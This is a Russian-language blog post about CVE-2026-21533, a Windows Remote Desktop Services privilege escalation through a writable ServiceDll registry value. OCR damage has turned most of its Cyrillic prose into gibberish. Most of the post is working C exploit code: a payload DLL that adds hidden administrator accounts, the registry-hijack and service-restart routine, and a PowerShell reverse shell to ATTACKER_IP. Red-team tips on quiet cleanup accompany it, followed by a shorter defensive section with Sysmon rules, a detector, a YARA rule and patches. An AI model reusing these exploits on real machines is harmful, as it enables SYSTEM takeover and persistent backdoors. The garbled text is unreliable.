CVE-2026-21533: RDS Privilege Escalation —
OT 00RIYHOrO0 103epa Mo SYSTEM

Posted on 29 mapTa, 2026 by AkaTor

Kateropus: Red Team / Blue Team / Purple Team
YpoBens: Intermediate —» Advanced

Astop: Aka Tor

CVE: CVE-2026-21533

CVSS: 7.8 (High)

Hara: ®eBpamnb 2026

BBenmenue

CVE-2026-21533 — zero-day ysa3Bumocts B Windows Remote Desktop Services,
obHapyxeHHas CrowdStrike u mponatuennas Microsoft 10 deBpans 2026. [To3BonsieT
ayTeHTH(PHUIIMPOBaHHOMY ITOJIb30BATEII0 C MUHHMAJILHEIMH IIpaBaMu NoTy4uTh NT
AUTHORITY\SYSTEM uepe3 moguduKkalmio peectpa cepBuca TermService.

KmntoueBhie (aKTHI:

e JKcrmtyaTupoBasachk in-the-wild ¢ mekabpst 2025 (APT rpymmsl, nenu: CIIA u Kanana)
» DKCIIJIOUT IpodaBaJjics Ha mapksBebe 3a $220,000

» CISA po6aBuna B KEV Catalog ¢ memnatinom 3 mapTa 2026

* Hecmotps Ha cnoBo «Remote Desktop» — ato nokampHasa EoP, He RCE

1. Kax paboTraeT ya3BHUMOCTb

1.1 Kopers npobiemn: Improper Privilege Management (CWE-269)

Windows RDS cepsuc (TermService) XpaHAT KOHQUTYPALUIO B PeECTpe:



HKLM\SYSTEM\CurrentControlSet\Services\TermService

KnwyeBble 3HayeHus:

ImagePath = svchost.exe -k NetworkService
ObjectName = NT Authority\NetworkService
Start = 3 (Manual) wnmn 2 (Auto)

MapamMeTpsbl:
HKLM\ .. .\TermService\Parameters
ServiceDll = %SystemRoot%\System32\termsrv.dll

1.2 YVa3BuMocCTh

[Tpo6nema B ACL (Access Control List) Ha kmtou peectpa TermService\Parameters. B
ys13BuUMbIX Bepcusax Windows, 0OHYHBIN ayTeHTH(PHAIIIPOBAHHEIH [I01b30BaTENlb MOXKET
MopudunrpoBaTsh 3HadeHne ServiceDl1l — DLL xKoTtopyto 3arpyxkaetT svchost.exe npu
cTapTe cepBuca TermService.

HopManbHbin flow:
1. TermService 3anyckaetca - svchost.exe -k NetworkService
2. svchost 3arpyxaet ServiceDll = termsrv.dll
3. termsrv.dll pabotaet kak NETWORK SERVICE - SYSTEM

ATaka:
1. Atakywownin MeHseT ServiceDll = C:\Temp\evil.dll
2. Nepe3anyck TermService (unu nepe3arpyska)
3. svchost 3arpyxaet evil.dll BMecTo termsrv.dll
4. evil.dll BbinonHaetca kKak SYSTEM!

1.3 Ilouemy 3To paboTaet

TermService 3anyckaetcd ot SYSTEM:
- svchost.exe (SYSTEM) - 3arpyxaet ServiceDll
- ServiceDll BbinonHfAeTCa B KOHTekcTe SYSTEM
- Ecnu nopgMmeHnTtb ServiceD1l - npou3BonbHbIM Kog Kak SYSTEM

Moyemy ACL yA3BUM:
- HopManbHo: Tonbko SYSTEM u Administrators MoryTt nucatb B
Services\*



- bar: TermService\Parameters wMmen cnabein ACL
- Authenticated Users unm INTERACTIVE Mornm MeHaTb ServiceDll
- Microsoft He npoBepsan ACL npu Kaxpoun MoauduKauum

2. Exploit — nmomarosasi sxcnyaTanus

2.1 [TpoBepka yA3BUMOCTH

// TpoBepka: MoxeM nn Mol MeHATb ServiceDll B TermService\Parameters
#include <windows.h>
#include <stdio.h>

BOOL CheckVulnerable() {
HKEY hKey;
LONG result = RegOpenKeyExA(HKEY LOCAL MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
0, KEY SET VALUE, &hKey);

if (result == ERROR SUCCESS) {
printf(“[!] VULNERABLE: Can write to
TermService\\Parameters!\n");
RegCloseKey (hKey) ;
return TRUE;
} else if (result == ERROR ACCESS DENIED) {
printf("[*] PATCHED: Access denied to
TermService\\Parameters\n");
return FALSE;
} else {
printf("[-] Error: %d\n", result);
return FALSE;

}
2.2 Co3panue payload DLL

// evil svc.dll — DLL koTtopas 3anyctutca kKak SYSTEM



// Komnunsauusa: cl.exe /LD evil svc.dll.c /Fe:evil svc.dll
#include <windows.h>

// ServiceMain — BbI3biBaetTcs svchost.exe

void WINAPI ServiceMain(DWORD argc, LPWSTR* argv) {
// Payload: pobasnsem w3epa B Administrators
system("net user hacker P@sswOrdl23 /add");
system("net localgroup Administrators hacker /add");

// Wnn: reverse shell, beacon, etc.

// BaxHO: HYXHO 3aperucTtpupoBaTtb service control handler
// VHa4ye cepBuUC ynapér

SERVICE STATUS HANDLE hStatus;

SERVICE STATUS status = { 0 };

status.dwServiceType = SERVICE WIN32 SHARE PROCESS;
status.dwCurrentState = SERVICE RUNNING;

hStatus = RegisterServiceCtrlHandlerW(L"TermService", NULL);
if (hStatus) SetServiceStatus(hStatus, &status);

}

BOOL APIENTRY Dl1lMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
if (reason == DLL PROCESS ATTACH) {
// 3anyckaem cmd.exe kak SYSTEM pna peMoHCTpauuu
STARTUPINFOA si = { sizeof(si) };
PROCESS INFORMATION pi = { 0 };
CreateProcessA(NULL, "cmd.exe /c whoami >
C:\\Windows\\Temp\\pwned.txt",
NULL, NULL, FALSE, CREATE NO WINDOW, NULL, NULL, &si,
&pi);
if (pi.hProcess) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);



return TRUE;
}

2.3 Exploit: mogpmeHra ServiceDll

// CVE-2026-21533 Exploit: nogMeHa TermService ServiceDll
// TpebyeT: ayTeHTMPMUMPOBAHHLIA 103Eep Ha YA3BUMOW CUCTeMe
// Pe3ynbTaT: NPOM3BONbHbIN KOO Kak SYSTEM npu nepesanycke TermService

#include <windows.h>
#include <stdio.h>

#define REG PATH
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters"
#define BACKUP VALUE "ServiceDll backup"

// War 1: bakan opuruHanbHoro ServiceDll
BOOL BackupOriginal(char* originalPath, DWORD size) {
HKEY hKey;
if (RegOpenKeyExA(HKEY LOCAL MACHINE, REG PATH, 0,
KEY READ, &hKey) != ERROR SUCCESS) return FALSE;

DWORD type, dataSize = size;

RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
(BYTE*)originalPath, &dataSize);

RegCloseKey (hKey) ;

printf("[*] Original ServiceDll: %s\n", originalPath);
return TRUE;
}

// War 2: MopgMeHa ServiceDll Ha Hawy DLL
BOOL ReplaceServiceDll(const char* evilDllPath) {
HKEY hKey;
LONG result = RegOpenKeyExA(HKEY LOCAL MACHINE, REG PATH, 0,
KEY SET VALUE, &hKey);

if (result != ERROR SUCCESS) {



printf("[-] Cannot open key: %d (PATCHED or insufficient
rights)\n", result);
return FALSE;
}

// 3anucbiBaeM nyTb K Hawen DLL
result = RegSetValueExA(hKey, "ServiceDll", 0, REG EXPAND SZ,
(BYTE*)evilDl1lPath, (DWORD)strlen(evilDllPath) + 1);

RegCloseKey (hKey) ;

if (result == ERROR SUCCESS) {
printf("“[+] ServiceDll replaced: %s\n", evilDllPath);
return TRUE;

}

printf("[-] RegSetValueEx failed: %d\n", result);

return FALSE;

}

// War 3: Mepe3anyck cepsuca (ecnu ecTb nNpaBa) win XOEM nepesarpysky
BOOL RestartTermService() {
SC HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC MANAGER CONNECT);
SC_HANDLE hSvc = OpenServiceA(hSCM, "TermService",
SERVICE STOP | SERVICE START | SERVICE QUERY STATUS);

if (!'hSvc) {
printf("[*] Cannot restart TermService (need admin for
restart)\n");
printf("[*] DLL will load on next system reboot\n");
CloseServiceHandle(hSCM);
return FALSE;

}

// Stop

SERVICE STATUS ss;

ControlService(hSvc, SERVICE CONTROL STOP, &ss);
printf("[*] Stopping TermService...\n");
Sleep(2000);



// Start - 3arpy3sut Hawy DLL
if (StartServiceA(hSvc, 0, NULL)) {
printf("[+] TermService restarted - evil DLL loaded as

SYSTEM!\n");

} else {
printf("[*] Start failed: %d (will load on reboot)\n",

GetLastError());

}

}

CloseServiceHandle(hSvc);
CloseServiceHandle (hSCM) ;
return TRUE;

// War 4: BoccTaHoBneHue opuruHana (cleanup)
BOOL RestoreOriginal(const char* originalPath) {

}

HKEY hKey;
if (RegOpenKeyExA(HKEY LOCAL MACHINE, REG PATH, 0,
KEY SET VALUE, &hKey) != ERROR SUCCESS) return FALSE;

RegSetValueExA(hKey, "ServiceDll", 0, REG EXPAND SZ,
(BYTE*)originalPath, (DWORD)strlen(originalPath) + 1);
RegCloseKey (hKey) ;

printf("[+] Original ServiceDll restored\n");
return TRUE;

2.4 Tlonan# Exploit Flow

Atakyownn (low-privilege user):

1.

NpoBepka: RegOpenKeyEx(TermService\Parameters, KEY SET VALUE)
- ERROR_SUCCESS = ya3sumo!

. bakan: uuntaem Tekywun ServiceD11l

- %SystemRoot%s\System32\termsrv.dll



3. Co3paém evil.dll:

- DllMain() - CreateProcess("cmd.exe") unu reverse shell

- Konupyem B C:\Users\Public\evil.dll
4. MopMmeHa: RegSetValueEx("ServiceDll", "C:\Users\Public\evil.dll")
5. Trigger:

a) Ecnn MoxeM nepe3anycTuTb CEpPBUC - MIrHOBEHHbIM SYSTEM

b) Ecnu HeT - XOEM nepe3arpysky

6. Profit: evil.dll 3arpyxaetcsa svchost.exe kak SYSTEM!

7. Cleanup: BOCCTaHaB/MBaeM OpuUruHanbHbii ServiceD1ll

3. BapuaHTH 9KCITyaTaluu

3.1 BapuasnT A: [lo6aBnerune admin-io3epa

// DLL payload: net user + net localgroup
// TMpn 3arpy3ke svchost.exe - co3pnaét admin akkayHT

BOOL APIENTRY D11Main(HMODULE hModule, DWORD reason, LPVOID reserved)

{
if (reason == DLL PROCESS ATTACH) {

WinExec("cmd.exe /c net user backdoor P@ssl23! /add && "
“net localgroup Administrators backdoor /add",
SW HIDE);

}
return TRUE;

}
3.2 BapuaHT B: Reverse Shell

// DLL payload: PowerShell reverse shell
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)

{



if (reason == DLL PROCESS ATTACH) {
WinExec("powershell.exe -nop -w hidden -ep bypass -c "
"\"$c=New-0bject
Net.Sockets.TCPClient('ATTACKER IP',64444);"
"$s=$c.GetStream(); [byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length))-ne 0){"
"$d=(New-0Object
Text.ASCIIEncoding) .GetString($b,0,%$1i);"
"$r=(1ex $d 2>&1|0ut-String);"
"$r2=$r+'PS '+(pwd).Path+'> "';"
"$sb=([text.encoding]: :ASCII).GetBytes($r2);"
"$s.Write($sb,0,%$sb.Length)}\"",
SW HIDE);

}
return TRUE;

}
3.3 BapuanT C: Token theft (6e3 ¢aiinoB Ha gucke)

// DLL payload: kpapét SYSTEM token u 3anyckaet cmd.exe
// BbinonHaeTca B KOHTeKcTe svchost.exe (yxe SYSTEM)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
if (reason == DLL PROCESS ATTACH) {
// Mbl yxe SYSTEM (svchost.exe 3arpy3un Hac)
// TlpocTo 3anyckaem cmd.exe Ha fgeckTone w3epa
STARTUPINFOA si = { sizeof(si) };
si.lpDesktop = "WinSta@\\Default";
PROCESS INFORMATION pi = { 0 };
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
CREATE NEW CONSOLE, NULL, NULL, &si, &pi);
if (pi.hProcess) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

}

}
return TRUE;



4. [[eTeKT # 3alUTa

4.1 Blue Team: o6HapyXeHue

Sysmon Rules:

Event ID 13 (Registry Value Set):

TargetObject:
HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters\ServiceD
11

- Anept ecnu Image != C:\Windows\system32\svchost.exe

- AnepT ecnu Details != %SystemRoot%\System32\termsrv.dll

Event ID 7 (Image Loaded):
ImageLoaded: !'= C:\Windows\System32\termsrv.dll
Process: svchost.exe ¢ TermService
- lMopo3putenbHasa DLL 3arpyxeHa B TermService

Event ID 1 (Process Create):
ParentImage: svchost.exe
ParentCommandLine: contains "TermService"
Image: cmd.exe / powershell.exe / net.exe
- TermService nopoxpaeT MNOOO3PUTENbHLIN Npouecc

// Detector: npoepka ServiceDll TermService
void CheckTermServicelntegrity() {
HKEY hKey;
if (RegOpenKeyExA(HKEY LOCAL MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
0, KEY READ, &hKey) !'= ERROR SUCCESS) return;

char serviceDUL[MAX PATH] = { 0 };

DWORD size = sizeof(serviceDll), type;

RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
(BYTE*)serviceDll, &size);

RegCloseKey (hKey) ;



// HopManusyeMm nyTtb
char expanded[MAX PATH];
ExpandEnvironmentStringsA(serviceDll, expanded, MAX PATH);

// TNpoBepsem
if ( stricmp(expanded, "C:\\Windows\\System32\\termsrv.dll") != 0)

{
printf("[!!!] ALERT: TermService ServiceDll MODIFIED!\n");
printf (" Current: %s\n", expanded);
printf (" Expected:
C:\\Windows\\System32\\termsrv.dll\n");
printf(" Possible CVE-2026-21533 exploitation!\n");
} else {
printf("[OK] TermService ServiceDll is legitimate\n");
}
}

// MNposepka ACL Ha TermService\Parameters
void CheckTermServiceACL() {
HKEY hKey;
// MpobyeM OTKPbITb Ha 3anucCb OT TEKYUEro w3epa
LONG result = RegOpenKeyExA(HKEY LOCAL MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
0, KEY SET VALUE, &hKey);

if (result == ERROR SUCCESS) {
printf(“[!!!] VULNERABLE: Current user can modify
TermService!\n");

printf(" System is NOT patched for CVE-2026-21533!\n");
RegCloseKey (hKey) ;
} else {

printf("“[O0K] TermService\\Parameters is protected
(patched)\n");
}
}



4.2 YARA Rule

rule CVE 2026 21533 Exploit {
meta:
description = "Detects CVE-2026-21533 TermService ServiceDl1l

hijack"
author = "Aka Tor"
date = "2026-03"
strings:
$regl = "TermService\\Parameters" ascii wide nocase
$reg2 = "ServiceDll" ascii wide nocase
$apil = "RegSetValueEx" ascii
$api2 = "RegOpenKeyEx" ascii
$svcl = "TermService" ascii wide
$svc2 = "termsrv.dll" ascii wide nocase
condition:
uintle(0) == O0x5A4D and
($regl and $reg2 and ($apil or $api2)) and
not $svc2
}
4.3 Mitigation

« Patch: ycranoButs 06HOBNeHue KB5034763 (February 2026 Patch Tuesday)

o ACL Fix: Bpy4HY10 OrpaHUYUTh ITIPaBa Ha
HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters —
TonbKO SYSTEM u Administrators

» MoruTopuHr: Sysmon Event ID 13 Ha TermService registry changes

e Otrmouuth RDS ecnu He ucnomnedyercsa: sc config TermService start=
disabled

» Integrity check: mepruonuueckas nposepka ServiceDIl = termsrv.dll




5. Affected Systems

0oC Bepcusa Va3Buma
Windows 10 1607, 1809, 21H2, 22H2 Ha (mo KB5034763)
Windows 11 22H2, 23H2, 24H2, 25H2, 26H1 Ha (o KB5034763)
Windows Server 2012 R2 All IIa
Windows Server 2016 All Ia
Windows Server 2019 All Ia
Windows Server 2022 All a
Windows Server 2025 All IIa

6. Timeline

Oekabpb 2025 — MNepsble 3kcnnyatauumn in-the-wild (CWA, KaHapa)
AHBapb 2026 — CrowdStrike obHapyxuBaeT u penoptut Microsoft
10 O®eBpans 2026 — Microsoft BbinyckaeT naTty (Patch Tuesday)

11 ®eBpansa 2026 — CISA pobasnset B KEV Catalog

10 Mapta 2026 — JKCnnouT npopaétca Ha papkeebe 3a $220,000
MapTt 2026 — MHOXeCTBO OpraHu3auui BCE elwé He nponaT4yeHs

7. PekoMeHOamuu

IIna Red Team

e [Iposepsiut ACL va TermService\Parameters Ha KaXXa0¥ MalluHe

e Ecnu ys13BUMO — OfHa 3anuch B peectp = SYSTEM

» Payload DLL pomxHa peanu3oBaTh ServiceMain 4To0bI CEpPBUC He KPAIIUICS
» Cleanup: BoccTtanoBu opuruHanbHb ServiceDll mocse skcmiyaTanuu

o Tuxuyi BapuaHT: He Iepe3alyckal CepBUC, XKAu reboot

st Blue Team
« PATCH HEMETJIEHHO — KB5034763



e Sysmon rule Ha TermService\Parameters Mmogudukaimio

 TIpoBepuTs Bce cepBephl ¢ RDS Ha Hanuuue mopguduitmpoanHoro ServiceDll

o Aymut ACL: Get-Acl
"HKLM:\SYSTEM\CurrentControlSet\Services\TermService\Parameters" |
Format-List

e Otkimoouuts RDS r1e He HyXeH

IIns Purple Team

 [IpoBepbTe ya3BUMOCTH Ha Bcex Windows cepBepax B UHPPaCTPYKType

e Co3manTe OETEeKT-IIPaBUJIO [0 aT4ya — MOHUTOPHUHT ServiceDll

e MITRE ATT&CK: T1543.003 (Create or Modify System Process: Windows Service)
» TecTupyiite netekt: nogMeHnute ServiceDll — npoBepsTe uTo SIEM anmepTtur

3akimoyeHue

CVE-2026-21533 — npocTas HO MOI[Hasa ys13BUMOCTh. OnHa 3anuch B peectp = SYSTEM.
Het Heo6xoguMocTu B cinoxkHbIX exploit chains, ROP gadgets unu kernel exploits. ITpocto
RegSetValueEX Ha K104 KOTOPHIH [OJKEH ObIT OBITH 3aIUINEH. ITO HAIIOMUHAHUE YTO
caMmble oTacHble 6aru — He B CJI0KHOM KOfle, a B HermpaBHIbHEIX ACL.

IIpoBeprTe CBOM CEPBEPH IPSIMO ceifuac.

Iucknermep: Matepuai nIpegocTaBieH HCKIIOYHTEIEHO B 00pa30BaTE/IbHEIX IIe/ISX /IS
CriequaIHCTOB [0 HHYOPMAaIHOHHOH 0e30aCHOCTH. Hcromp3yHTe MOy YeHHbIe 3HAHHS
TOJIPKO B PaMKaX aBTOPH30BAHHOT0 TECTHPOBAHHS HA IIPDOHHUKHOBEHHE H 3aIl[HTEI

HHQPAaCTPYKTYPEL



